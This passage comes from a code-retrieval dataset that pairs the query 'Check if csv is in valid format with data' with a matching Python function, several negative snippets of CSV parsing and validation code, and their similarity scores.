validate_data(values):\\n try:\\n [int(value) for value in values]\\n if len(values) != 6:\\n raise ValueError(\\n f'Exactly 6 values are required - you provided {len(values)}'\\n )\\n except ValueError as e:\\n print(f'Invalid data entered: {e}, please try again!\\\\n')\\n return False\\n\\n return True\",\n \"def _prepare_and_validate_data(self,data_list):\\n pos=0\\n list_pos=0\\n format=\\\"\\\"\\n length=0\\n value=\\\"\\\"\\n\\n #check number of items in data_list is as expected\\n if(self.data_lookup.count()['type']!=len(data_list)):\\n raise NumItemsError(\\\"Wrong number of items for the data type\\\")\\n\\n #loop over data from data_types.csv and populate\\n for index,row in self.data_lookup.iterrows():\\n length=int(row['Bytes'])\\n\\n #obtain format type\\n if (row['Format']=='byte'):\\n format=int\\n elif (row['Format']=='string'):\\n format=str\\n\\n #obtain limits\\n try:\\n min=int(row['Min'],16)\\n max=int(row['Max'],16)\\n except:\\n min='*'\\n max='*'\\n\\n #check format type\\n if (isinstance(data_list[list_pos],format)):\\n #correct format type\\n if format==str:\\n value=data_list[list_pos].encode()\\n elif format==int:\\n value=data_list[list_pos].to_bytes(length,'little')\\n\\n #check limits if int type\\n if min=='*' or max == '*':\\n pass\\n elif int(data_list[list_pos]) >= min and int(data_list[list_pos]) <= max:\\n pass\\n else:\\n raise ValueError(\\\"value\\\",int(value),\\\"is out of range, min:\\\",min,\\\"max:\\\",max)\\n else:\\n raise TypeError(\\\"Unknown type, can currently only handle string or integer types\\\")\\n #populate data\\n for n in range(0,length):\\n self.data[pos+n]=value[n]\\n pos=pos+length\\n list_pos=list_pos+1\\n else:\\n raise TypeError(\\\"expected\\\",format,\\\"got\\\",type(data_list[list_pos]),\\\"at position\\\",list_pos)\\n return True\",\n \"def csvread(infile):\\n out_csv = []\\n errors = []\\n index = -1\\n p = LineParser(csv=True)\\n for line in infile:\\n index += 1\\n try:\\n values = p.feed(line)\\n except ListQuoteError as e:\\n values = []\\n e.line = line\\n e.index = index\\n errors.append(e)\\n #\\n out_csv.append(values)\\n #\\n if errors:\\n e = CSVError(\\\"Parsing CSV failed. See 'errors' attribute.\\\")\\n e.csv = out_csv\\n e.errors = errors\\n raise e\\n return out_csv\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.80091965","0.75875276","0.75167954","0.741095","0.71336776","0.70634043","0.6948182","0.68665993","0.6859504","0.67613226","0.67475","0.6734457","0.67083627","0.6599125","0.6583989","0.65218884","0.6469705","0.64656794","0.6436142","0.6427924","0.64077896","0.63980997","0.63969994","0.63700426","0.63189805","0.63122225","0.6297279","0.6287425","0.6284053","0.6282969","0.62586933","0.62522846","0.6238608","0.6201001","0.61981046","0.61980945","0.61948687","0.6193445","0.61927944","0.6176761","0.6175596","0.6165539","0.61528164","0.61479497","0.61428386","0.61214256","0.61208147","0.60964185","0.6078243","0.6076482","0.60730773","0.60619164","0.605678","0.6043274","0.60225344","0.60142756","0.60130167","0.5996498","0.5983368","0.5973367","0.59728956","0.5969301","0.59657705","0.5956777","0.5951136","0.5934644","0.58975995","0.5891159","0.58787274","0.5875818","0.5867033","0.58523643","0.5852189","0.5850927","0.5849265","0.58468825","0.58466613","0.58451736","0.5841247","0.5832033","0.5826575","0.5824313","0.5820826","0.5820631","0.58172894","0.58117336","0.5805184","0.58051646","0.58034897","0.5797402","0.57906914","0.578905","0.578443","0.5783518","0.5780084","0.5773579","0.57669055","0.5763598","0.57610303","0.57428205"],"string":"[\n \"0.80091965\",\n \"0.75875276\",\n \"0.75167954\",\n \"0.741095\",\n \"0.71336776\",\n \"0.70634043\",\n \"0.6948182\",\n \"0.68665993\",\n \"0.6859504\",\n \"0.67613226\",\n \"0.67475\",\n \"0.6734457\",\n \"0.67083627\",\n \"0.6599125\",\n \"0.6583989\",\n \"0.65218884\",\n \"0.6469705\",\n \"0.64656794\",\n \"0.6436142\",\n \"0.6427924\",\n \"0.64077896\",\n \"0.63980997\",\n \"0.63969994\",\n \"0.63700426\",\n \"0.63189805\",\n \"0.63122225\",\n \"0.6297279\",\n \"0.6287425\",\n \"0.6284053\",\n \"0.6282969\",\n \"0.62586933\",\n \"0.62522846\",\n \"0.6238608\",\n \"0.6201001\",\n \"0.61981046\",\n \"0.61980945\",\n \"0.61948687\",\n \"0.6193445\",\n \"0.61927944\",\n \"0.6176761\",\n \"0.6175596\",\n \"0.6165539\",\n \"0.61528164\",\n \"0.61479497\",\n \"0.61428386\",\n \"0.61214256\",\n \"0.61208147\",\n \"0.60964185\",\n \"0.6078243\",\n \"0.6076482\",\n \"0.60730773\",\n \"0.60619164\",\n \"0.605678\",\n \"0.6043274\",\n \"0.60225344\",\n \"0.60142756\",\n \"0.60130167\",\n \"0.5996498\",\n \"0.5983368\",\n \"0.5973367\",\n \"0.59728956\",\n \"0.5969301\",\n \"0.59657705\",\n \"0.5956777\",\n \"0.5951136\",\n \"0.5934644\",\n \"0.58975995\",\n \"0.5891159\",\n \"0.58787274\",\n \"0.5875818\",\n \"0.5867033\",\n \"0.58523643\",\n \"0.5852189\",\n \"0.5850927\",\n \"0.5849265\",\n \"0.58468825\",\n \"0.58466613\",\n \"0.58451736\",\n \"0.5841247\",\n \"0.5832033\",\n \"0.5826575\",\n \"0.5824313\",\n \"0.5820826\",\n \"0.5820631\",\n \"0.58172894\",\n \"0.58117336\",\n \"0.5805184\",\n \"0.58051646\",\n \"0.58034897\",\n \"0.5797402\",\n \"0.57906914\",\n \"0.578905\",\n \"0.578443\",\n \"0.5783518\",\n \"0.5780084\",\n \"0.5773579\",\n \"0.57669055\",\n \"0.5763598\",\n \"0.57610303\",\n \"0.57428205\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7886953"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":14472,"cells":{"query":{"kind":"string","value":"Check if csv is in valid format with data"},"document":{"kind":"string","value":"def check_valid_csvformat(self, csv_path):\n with open(self.csv_path, \"rb+\") as file_obj:\n reader = csv.reader(file_obj, delimiter=',') # CSV DictReader object\n self.check_valid_csv_header(reader.next())\n self.check_valid_csv_data(reader.next())"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def check_valid_csv_data(self, row):\n obj = re.match(re.compile('^[0-9]{4}\\,[A-Z]{1}[a-z]{2}\\,.'),\n ','.join(row))\n if not obj:\n raise Exception(\"Invalid Data String must be like `1990` `Jan` Check Sample file\")","def validate_csv(filename: str) -> bool:\n # From: https://stackoverflow.com/questions/2984888/check-if-file-has-a-csv-format-with-python\n try:\n with open(filename, newline='') as csvfile:\n start = csvfile.read(4096)\n\n # isprintable does not allow newlines, printable does not allow umlauts...\n if not all([c in string.printable or c.isprintable() for c in start]):\n return False\n dialect = csv.Sniffer().sniff(start)\n return True\n except csv.Error:\n # Could not get a csv dialect -> probably not a csv.\n return False\n except UnicodeError:\n return False","def validate_csv_seq(sequence):\n if sequence.find(',') != -1 or sequence.find(';') != -1:\n return True\n else:\n return False","def validate_csv(filename, header, cols, rows):\n\n # open file\n data = pd.read_csv(filename, delimiter='|')\n\n # validate header\n assert header == '|'.join(list(data.columns.values))\n\n # validate column count\n assert data.shape[1] == cols\n\n # validate row count\n assert data.shape[0] == rows\n\n # return (header_result == column_result == row_result) is True","def test_schema_invalid_format(self):\n bad_schema = [int, int, float, float, str]\n with self.assertRaisesRegexp(Exception, \"more than one char\"):\n self.context.frame.import_csv(self.dataset, bad_schema)","def test_valid_csv(self):\n url=\"http://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\"\n readerobject=requester.url_to_csv(url, fname='wine2')\n self.assertTrue(str(type(readerobject)),\"_csv.reader\")","def check_valid_csv_header(self, row):\n obj = re.match(re.compile('^Year\\,Month\\,.'),\n ','.join(row))\n if not obj:\n raise Exception(\"Invalid Headers must be `Year` `Month` Check Sample file\")","def csv_parser_test():\n data = csv_parser(myspreadsheet)\n print 'Your data object:'\n pp = pprint.PrettyPrinter(indent=4)\n pp.pprint(data) \n # Did your parser work?\n for row_num, row in enumerate(data):\n try:\n assert len(row) == 3\n except AssertionError:\n print \"Row %s seems to be misparsed; its length is %s\" % (row_num, len(row))\n # Check on one of the values:\n try:\n assert data[4][2] == 'Linguist'\n except AssertionError:\n print \"Error: data[4][2] should equal 'Linguist'; actual value is %s\" % data[4][2]\n # Did you remember your int conversions?\n try:\n assert isinstance(data[0][0], int)\n except AssertionError:\n print \"Error: data[0][0] should be an int\"\n # Did you remember your float conversions?\n try:\n assert isinstance(data[6][1], float)\n except AssertionError:\n print \"Error: data[6][1] should be a float\"","def csv_parser_test():\r\n data = csv_parser(myspreadsheet)\r\n print('Your data object:')\r\n pp = pprint.PrettyPrinter(indent=4)\r\n pp.pprint(data) \r\n # Did your parser work?\r\n for row_num, row in enumerate(data):\r\n try:\r\n assert len(row) == 3\r\n except AssertionError:\r\n print ((\"Row %s seems to be misparsed; its length is %s\") % (row_num, len(row)))\r\n # Check on one of the values:\r\n try:\r\n assert data[4][2] == 'Linguist'\r\n except AssertionError:\r\n print ((\"Error: data[4][2] should equal 'Linguist'; actual value is %s\") % data[4][2])\r\n # Did you remember your int conversions?\r\n try:\r\n assert isinstance(data[0][0], int)\r\n except AssertionError:\r\n print (\"Error: data[0][0] should be an int\")\r\n # Did you remember your float conversions?\r\n try:\r\n assert isinstance(data[6][1], float)\r\n except AssertionError:\r\n print (\"Error: data[6][1] should be a float\")","def test_schema_invalid_type(self):\n bad_schema = -77\n with self.assertRaisesRegexp(Exception, \"more than one char\"):\n self.context.frame.import_csv(self.dataset, bad_schema)","def isFormatOk(self, row):\n try:\n date = datetime.strptime(row[0], \"%m/%d/%Y\").date()\n state = fix_text(row[1])\n impressions = int(row[2])\n if impressions < 0:\n raise ValueError\n CTR = float(row[3].replace(\"%\",\"\"))\n if CTR < 0 or CTR > 1:\n raise ValueError\n except ValueError as e:\n print(f\"Wrong format of provided data {row}\", file=sys.stderr)\n return False\n return Record(date=date, state=state, impressions=impressions, CTR=CTR)","def test_validate_file_extension_csv(self):\n data_contacts = open(self.test_dir + 'contacts.csv',\n encoding='utf-8')\n data_contacts_false = open(self.test_dir + 'mannheim_short.json',\n encoding='utf-8')\n a = validate_file_extension_csv(data_contacts)\n self.assertEqual(a, None)\n with self.assertRaises(ValidationError) as context:\n validate_file_extension_csv(data_contacts_false)\n data_contacts.close()\n data_contacts_false.close()\n self.assertTrue(\"Keine gültige CSV-Datei\" or \"No valid CSV file\" in\n str(context.exception))","def __is_csv(self):\n try:\n # just open to check if there is the file\n with open(self.__csv_file_name, 'r') as file:\n file.close()\n return True\n # if it do not exists the exception will returns false\n except IOError:\n return False","def validate_bed_format(row):\n assert len(row) >= 3, 'Bed Files must have at least 3 tab separated fields.'\n\n return True","def test_validate_csv():\n duplicate_keys_file_path = os.path.join(\n TEST_DATA_DIR, \"clubs_invalid_duplicate_keys.csv\"\n )\n\n invalid_headers_file_path = os.path.join(\n TEST_DATA_DIR, \"membership_invalid_syntax.csv\"\n )\n\n # Test duplicate keys\n with open(duplicate_keys_file_path) as test_file:\n test_file = test_file.read()\n\n rows = list(csv.DictReader(StringIO(test_file)))\n\n with pytest.raises(ValidationFailed) as v_error:\n validate_csv(rows)\n\n validation_resp = v_error.value.errors[0]\n assert \"error\" in validation_resp\n duplicate_keys = validation_resp[\"detail\"]\n assert \"5\" in duplicate_keys\n assert \"2\" in duplicate_keys\n\n # Test invalid syntax\n with open(invalid_headers_file_path) as test_file:\n test_file = test_file.read()\n\n rows = list(csv.DictReader(StringIO(test_file)))\n with pytest.raises(ValidationFailed) as v_error:\n validate_csv(rows)\n\n validation_resp = v_error.value.errors[0]\n invalid_rows = [x[\"row\"] for x in validation_resp[\"detail\"]]\n assert \"error\" in validation_resp\n assert 3 in invalid_rows\n assert 4 in invalid_rows\n assert 5 in invalid_rows\n\n # Test unicode decode errors\n test_data = b\"\\xff\\xfe_\\x00k\\x00e\\x00y\\x00,\\x00n\\x00a\\x00m\\x00e\\x00\\n\"\n pytest.raises(DecodeFailed, decode_data, test_data)","def open_convert_and_clean_csv(csv_data_file):\n imported_data = tablib.Dataset().load(open(csv_data_file).read())\n dataset = []\n for row in imported_data:\n if float(row[1]) > 0 and float(row[2]) > 0:\n dataset.append((row[0], float(row[1]), float(row[2])))\n return dataset","def test_csv_reader_data_contents(process_data):\n data = process_data(file_name_or_type='clean_map.csv')\n\n # Check row types\n for row in data:\n assert(isinstance(row['Country'], str))\n assert(isinstance(row['City'], str))\n assert(isinstance(row['State_Or_Province'], str))\n assert(isinstance(row['Lat'], float))\n assert(isinstance(row['Long'], float))\n assert(isinstance(row['Altitude'], float))\n\n # Basic data checks\n assert len(data) == 180 # We have collected 180 rows\n assert data[0]['Country'] == 'Andorra'\n assert data[106]['Country'] == 'Japan'","def process(self, record):\n is_data = True\n if self.file_path.split('.')[-1] == 'csv':\n if self.header_skip:\n logging.info('Skipping header data... {}'.format(record))\n self.header_skip = False\n is_data = False\n return [(record, None, None, is_data)]\n record_attributes = list(csv.reader([record]))[0]\n if len(record_attributes) != len(self.schema[FIELDS_KEY]):\n if len(record_attributes) > 1 or not record_attributes[0].strip().isdigit():\n IS_VALID_FILE = False\n is_data = None\n return [(record, None, None, is_data)]\n for record_attribute, attribute_schema in zip(\n record_attributes, self.schema[FIELDS_KEY]):\n is_valid_datatype_check = self.__datatype_check(record_attribute, attribute_schema)\n is_valid_null_check = self.__null_check(record_attribute, attribute_schema)\n return [(record, is_valid_datatype_check, is_valid_null_check, is_data)]","def test_invalid_header(self, tmpdir):\n path1 = tmpdir.join(\"invalid.csv\")\n path1.write(\"not,a,valid,header,row\")\n with pytest.raises(ValueError):\n parse_file(str(path1))\n\n path2 = tmpdir.join(\"valid.csv\")\n path2.write(\",\".join(HEADER_ROW))\n try:\n parse_file(str(path2))\n except ValueError:\n assert False, \"Unexpected ValueError\"","def _validate_row(self, row):\n\n # assume value.\n is_valid = True\n\n # test if each field in @row has the correct data type.\n tests = []\n for field, value in row.items():\n value_type, header_type = (type(value).__name__, \n self.required_headers[field].__name__)\n test = value_type == header_type\n if not test:\n err = \"Field '{}' not valid; expected '{}', got '{}'.\".format(field,\n header_type, value_type)\n self.logger.debug(err)\n tests.append(test)\n\n # if any test failed, set @is_valid to False.\n if False in tests:\n is_valid = False\n \n return is_valid","def test_csvfile_different_types(fs: FakeFilesystem) -> None:\n contents = '''\"a\"\n1\n2.0\n\"test\"'''\n fs.create_file(\"test.csv\", contents=contents)\n\n adapter = CSVFile(\"test.csv\")\n\n assert adapter.get_columns() == {\n \"a\": String(\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\n order=Order.NONE,\n exact=True,\n ),\n }","def test_is_valid_manifest_format_with_csv(caplog):\n assert is_valid_manifest_format(\"tests/test_manifest.csv\") == True\n assert caplog.text == \"\"","def isLineData(self, line):\n\n if line is None or line.strip().startswith('#'):\n return False, None, 0\n\n dataType = self.getDataType()\n\n if dataType == 'Y':\n # Y with 1 column\n try:\n yValue = float(line)\n\n return True, 'Y', 1\n except:\n pass\n\n # Y with comma 2 to 5 column\n try:\n yValueList = []\n yValueList = line.split(',')\n\n if len(yValueList) > 1 and len(yValueList) <= 5:\n newYValues = []\n for yValue in yValueList:\n try:\n yValue = float(yValue)\n newYValues.append(yValue)\n except ValueError:\n pass\n\n return True, 'Y', len(newYValues)\n except:\n pass\n\n # Y with space 2 to 5 column\n try:\n yValueList = []\n yValueList = line.split()\n\n if len(yValueList) > 1 and len(yValueList) <= 5:\n for yValue in yValueList:\n yValue = float(yValue)\n\n return True, 'Y', len(yValueList)\n except:\n pass\n elif dataType == 'XY':\n # XY with comma\n try:\n (xValue, yValue) = line.split(',')\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n # XY with comma\n try:\n xValue, yValue, dummy = line.split(',')\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n # XY with space\n try:\n (xValue, yValue) = line.split()\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n else:\n # Y with 1 column\n try:\n yValue = float(line)\n\n return True, 'Y', 1\n except:\n pass\n\n # Y with comma 2 to 5 column\n try:\n yValueList = []\n yValueList = line.split(',')\n\n if len(yValueList) > 1 and len(yValueList) <= 5:\n numberValues = 0\n for yValue in yValueList:\n try:\n yValue = float(yValue)\n numberValues += 1\n except ValueError:\n pass\n\n return True, 'Y', numberValues\n except:\n pass\n\n # Y with space 2 to 5 column\n try:\n yValueList = []\n yValueList = line.split()\n\n if len(yValueList) > 1 and len(yValueList) <= 5:\n for yValue in yValueList:\n yValue = float(yValue)\n\n return True, 'Y', len(yValueList)\n except:\n pass\n\n # XY with comma\n try:\n (xValue, yValue) = line.split(',')\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n # XY with comma\n try:\n xValue, yValue, dummy = line.split(',')\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n # XY with space\n try:\n (xValue, yValue) = line.split()\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n return False, None, 0","def check_meatadata_row(validated, input_validate_dict, row, idx):\n\n if row['RealCrystalName'].isspace() or row['RealCrystalName'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'RealCrystalName spaces or null', idx + 2)\n validated = False\n if row['crystal_name'].isspace() or row['RealCrystalName'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name spaces or null', idx + 2)\n validated = False\n if row['RealCrystalName'] not in row['crystal_name']:\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name does not contain RealCrystalName', idx + 2)\n validated = False\n if row['smiles'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Smiles null', idx + 2)\n validated = False\n\n return validated, input_validate_dict","def test_with_no_specified_or_inferred_schema(self):\n # should default to creating a schema of all strings\n frame = self.context.frame.import_csv(self.dataset, infer_schema=False)\n expected_schema = [(\"C0\", str), (\"C1\", str), (\"C2\", str)]\n self.assertEqual(frame.schema, expected_schema)","def test_parse_invalid_file(self):\n with pytest.raises(ParserError):\n self.parser.parse(\"invalid csv\")","def test_misc_csv_read():\n r = csv_reader(\"../test/test.csv\")\n fields = r.hdr()\n data = str(fields)\n while True:\n row = r.row()\n if not row: break\n data += '\\n' + str(row)\n\n assert(data == \"\"\"\n['EVT_CODE*', 'EVT_DATE.DE', 'CODE', 'AGE', 'FRST', 'LST', 'SPEC', 'de.id']\n['tea', '2018/01/01', 'X', '35', 'PRE', 'WHO', 'BUG', '1']\n['coffee', '2018/05/05', 'X', '35', 'JAN,Z', 'WHO', 'FRG', '1']\n['water', '2018/01/01', 'Y', '35', 'TAN', 'POST', 'CAT', '2']\n \"\"\".strip())","def test_load_csv_file():\n data = loader.load_csv_file(\"buildup/reference/comsol_solution/lofi/voltage.csv.bz2\")\n\n assert data.any()","def filterLines(weatherRDDRecord):\n fieldsList = weatherRDDRecord.split(\",\")\n #return len(fieldsList)\n if any(i.isdigit() for i in fieldsList[0]):\n return True\n else:\n return False","def test_itercsv_emits_data_lines():\n expected = [\n b'Hello,World\\r\\n',\n b'1,2\\r\\n',\n b'3,4\\r\\n'\n ]\n assert list(itercsv(['Hello', 'World'], [[1, 2], [3, 4]])) == expected","def test_schema_duplicate_names_same_type(self):\n # two num1's with same type\n bad = [(\"num1\", int), (\"num1\", int), (\"num2\", int)]\n with self.assertRaisesRegexp(Exception, \"more than one char\"):\n self.context.frame.import_csv(self.dataset, bad)","def _verify_csv_file_report(self, report_store, expected_data):\n report_csv_filename = report_store.links_for(self.course.id)[0][0]\n report_path = report_store.path_to(self.course.id, report_csv_filename)\n with report_store.storage.open(report_path) as csv_file:\n csv_file_data = csv_file.read()\n # Removing unicode signature (BOM) from the beginning\n csv_file_data = csv_file_data.decode(\"utf-8-sig\")\n for data in expected_data:\n self.assertIn(data, csv_file_data)","def test_is_valid_row(self):\n dognames = student_submission.read_csv('./dognames.csv')\n\n self.assertTrue(student_submission.is_valid_row(dognames[999]),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], sex='m'),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010, sex='m'),\n 'Your implementation seems wrong')\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2006, sex='m'),\n 'Your implementation seems wrong')\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2010, sex='w'),\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i]) for i in range(len(dognames))), 6980,\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], sex='w') for i in range(len(dognames))), 3549,\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], year=2000) for i in range(len(dognames))), 118,\n 'Your implementation seems wrong')","def line_is_valid(line):\n if '-' in map(lambda item: item.strip(), line.strip().split(\";\")):\n return False\n else:\n return True","def validate_data(self, row, col, value):\n\n return True","def is_valid(self, dataset):\n pass","def valid_format(s):\n if len(s) > 7:\n return False\n elif '0' in s and len(s) == 1:\n return True\n elif s[0] == '0' and len(s) > 1:\n return False\n elif introcs.isalpha(s):\n return False\n elif (len(s) > 3) and (introcs.count_str(s, ',') == 0):\n return False\n elif introcs.count_str(s, ',') == 0:\n return introcs.isdecimal(s)\n elif introcs.count_str(s, ',') > 1:\n return False\n elif ',' in s and introcs.count_str(s,',') == 1:\n comma_check = s[introcs.find_str(s, ',')+1:]\n before_comma_check = s[:introcs.find_str(s, ',')]\n introcs.isdecimal(before_comma_check)\n return (True if len(comma_check) == 3 else False) and introcs.isdecimal(before_comma_check)","def test_schema_duplicate_names_diff_type(self):\n # double num1's same type\n bad = [(\"num1\", int), (\"num1\", str), (\"num2\", int)]\n with self.assertRaisesRegexp(Exception, \"more than one char\"):\n self.context.frame.import_csv(self.dataset, bad)","def read_csv():","def validate_format(self):\n return all(\n [\n self.validate_header_keyword(),\n self.validate_type_keyword(),\n self.validate_type_annotations(),\n self.validate_unique_header(),\n self.validate_against_header_count(),\n ]\n )","def test_csv_simple_input(self):\n\n # Mix of integer and string data. Ensure that commas and\n # quotes are escaped properly.\n data = [\n {\n 'name': 'Normal string',\n 'item_num': 1,\n },\n {\n 'name': 'String, with, commas',\n 'item_num': 2,\n },\n {\n 'name': 'String with \" quote',\n 'item_num': 3,\n },\n ]\n\n table = TableReportForTesting(data)\n response = table.as_csv(HttpRequest())\n self.assertEqual(response.status_code, 200)\n # Expect cells containing commas to be escaped with quotes.\n content = response.content\n if PY3:\n content = content.decode(settings.DEFAULT_CHARSET).replace('\\x00', '')\n self.assertEqual(\n content,\n 'Name,Item Num\\r\\n'\n 'Normal string,1\\r\\n'\n '\"String, with, commas\",2\\r\\n'\n '\"String with \"\" quote\",3\\r\\n')","def test_csv_row_bug(script_runner, tmpdir, test_dir):\n csv_file = tmpdir / 'csv_file.csv'\n\n ret = script_runner.run(\n 'mwcp-tool', '-p', 'foo', '-c', str(csv_file), str(test_dir), cwd=str(tmpdir))\n print(ret.stdout)\n print(ret.stderr, file=sys.stderr)\n assert ret.success\n\n assert csv_file.exists()\n\n with csv_file.open('r') as fo:\n reader = csv.reader(fo)\n rows = list(reader)\n assert len(rows) == len(test_dir.listdir()) + 1\n assert rows[0] == ['scan_date', 'inputfilename', 'outputfile.name',\n 'outputfile.description', 'outputfile.md5', 'address', 'debug', 'url']\n for i, row in enumerate(rows[1:]):\n assert row[0] and row[1]\n # Test entries except the timestamp and full file path.\n assert row[2:] == [\n 'fooconfigtest.txt',\n 'example output file',\n '5eb63bbbe01eeed093cb22bb8f5acdc3',\n '127.0.0.1',\n ('[+] File test_{0}.txt identified as Foo.\\n'\n '[+] size of inputfile is 23 bytes\\n'\n '[+] operating on inputfile test_{0}.txt').format(i),\n 'http://127.0.0.1',\n ]","def VerifyRow(self, parser_mediator, row):\n if len(row) != self._NUMBER_OF_COLUMNS:\n return False\n\n # If the date and time string cannot be converted into a date time object,\n # then do not consider this to be a McAfee AV Access Protection Log.\n try:\n self._CreateDateTime(row['date'], row['time'])\n except errors.ParseError:\n return False\n\n # Use the presence of these strings as a backup or in case of partial file.\n status = row['status']\n if 'Access Protection' not in status and 'Would be blocked' not in status:\n return False\n\n return True","def _read_csv(self, options, datas):\n csv_data = datas\n if not csv_data:\n return iter([])\n encoding = options.get('encoding')\n if not encoding:\n encoding = options['encoding'] = chardet.detect(csv_data)['encoding'].lower()\n # some versions of chardet (e.g. 2.3.0 but not 3.x) will return\n # utf-(16|32)(le|be), which for python means \"ignore / don't strip\n # BOM\". We don't want that, so rectify the encoding to non-marked\n # IFF the guessed encoding is LE/BE and csv_data starts with a BOM\n bom = BOM_MAP.get(encoding)\n if bom and csv_data.startswith(bom):\n encoding = options['encoding'] = encoding[:-2]\n if encoding != 'utf-8':\n csv_data = csv_data.decode(encoding).encode('utf-8')\n\n separator = options.get('separator')\n if not separator:\n # default for unspecified separator so user gets a message about\n # having to specify it\n separator = ','\n for candidate in (',', ';', '\\t', ' ', '|', unicodedata.lookup('unit separator')):\n # pass through the CSV and check if all rows are the same\n # length & at least 2-wide assume it's the correct one\n it = pycompat.csv_reader(io.BytesIO(csv_data), quotechar=options['quoting'], delimiter=candidate)\n w = None\n for row in it:\n width = len(row)\n if w is None:\n w = width\n if width == 1 or width != w:\n break # next candidate\n else: # nobreak\n separator = options['separator'] = candidate\n break\n csv_iterator = pycompat.csv_reader(\n io.BytesIO(csv_data),\n quotechar=options['quoting'],\n delimiter=separator)\n return (\n row for row in csv_iterator\n if any(x for x in row if x.strip())\n )","def csv_statistics_validator(stats, schema):\n stats_anomalies = tfdv.validate_statistics(statistics = stats, schema = schema)\n tfdv.display_anomalies(stats_anomalies)\n return stats_anomalies","def handle_csv(self):\n try:\n reader = csv.reader(open(self.options.datafile, 'r'))\n except IOError:\n errormsg(_('Cannot read \"{}\"'.format(self.options.datafile)))\n raise Exception(_('Cannot read \"{}\"'.format(self.options.datafile)))\n if self.options.var_type == 'name':\n try:\n self.header = reader.next()\n except StopIteration:\n errormsg(_('Data file \"{}\" contains no data'.format(\n self.options.datafile)))\n raise Exception(_('Data file \"{}\" contains no data'.format(\n self.options.datafile)))\n self.data = []\n for row in reader:\n self.data.append(row)","def has_header_row(self, strdata):\n debug = False\n comma_dec_sep_ok = True\n if debug: print(strdata)\n if len(strdata) < 2: ## a header row needs a following row to be a header\n return False\n row1_types = [lib.get_val_type(val, comma_dec_sep_ok) \n for val in strdata[0]]\n row2_types = [lib.get_val_type(val, comma_dec_sep_ok) \n for val in strdata[1]]\n str_type = mg.VAL_STRING\n empty_type = mg.VAL_EMPTY_STRING\n non_str_types = [mg.VAL_DATE, mg.VAL_NUMERIC]\n return importer.has_header_row(\n row1_types, row2_types, str_type, empty_type, non_str_types)","def __init__(self, message, file_handle, format):\n oh = open(file_handle, \"rU\")\n config.log.error(\"csv/tsv file did not pass the csv parser\")\n config.log.error(\"Message: %s\" % message)\n print(\"-----------------------\")\n print(\"CSV Diagnostic:\")\n if \"skiplines\" in format: # skip the lines.\n if format[\"skiplines\"] != -1:\n for n in range(format[\"skiplines\"]):\n oh.readline().rstrip(\"\\r\\n\")\n\n print(\"0:\", oh.readline().rstrip(\"\\r\\n\"))\n print(\"1:\", oh.readline().rstrip(\"\\r\\n\"))\n print(\"2:\", oh.readline().rstrip(\"\\r\\n\"))\n print(\"3:\", oh.readline().rstrip(\"\\r\\n\"))\n print(\"-----------------------\")\n print(\"Format Specifier: %s\" % (\" \".join([\"%s:%s\\t\" % (key, format[key]) for key in format])))\n print(\"Expected Format, based on the format specifier:\")\n oh.close()\n\n # This is a safe-ish version of loadCSV() that intelligently fails.\n\n if \"sniffer\" not in format:\n oh = open(file_handle, \"rU\")\n if \"dialect\" in format:\n reader = csv.reader(oh, dialect=format[\"dialect\"])\n else:\n reader = csv.reader(oh)\n\n try:\n if \"skiplines\" in format:\n skiplines = format[\"skiplines\"]\n else:\n skiplines = 0 # skip any header row by default.\n except:\n print(\"Error: End of File\") # premature end of file, skip out.\n print(\"-----------------------\")\n print(\"Error: %s\" % (message))\n return\n\n for index, column in enumerate(reader): # This is cryptically called column, when it is actually row.\n if index > skiplines:\n if column: # list is empty, so omit.\n if (not (column[0] in typical_headers)):\n d = {}\n for key in format:\n if not (key in ignorekeys): # ignore these tags\n try:\n if not key in d:\n d[key] = {}\n if isinstance(format[key], dict) and \"code\" in format[key]:\n # a code block insertion goes here - any valid lib and one line python code fragment\n # store it as a dict with the key \"code\"\n d[key] = eval(format[key][\"code\"]) # this always fails for some reason...\n else:\n d[key] = str(column[format[key]])\n except:\n d[key] = \"mangled\"\n print(\"%s\" % (\" \".join([\"%s:%s\" % (key, d[key]) for key in d])))\n if index > 3:\n break\n else:\n print(\" No specified format (glbase will guess)\")\n\n print(\"-----------------------\")\n config.log.error(\"End of error output\")","def entry_valid(entry):\n\n if len(entry) != 4:\n return False\n date_list = re.split('\\\\W', entry[0])\n if len(date_list) != 2:\n return False\n try:\n int(date_list[0])\n int(date_list[1])\n float(entry[2])\n except ValueError:\n return False\n return True","def __input_data_ok(self, line=None):\n # valid pattern: 1407478022|www.facebook.com\n valid_pattern = re.compile(\"\\w{10}\\|\\w+\")\n if (line) and (re.match(valid_pattern, line)):\n return True\n else:\n 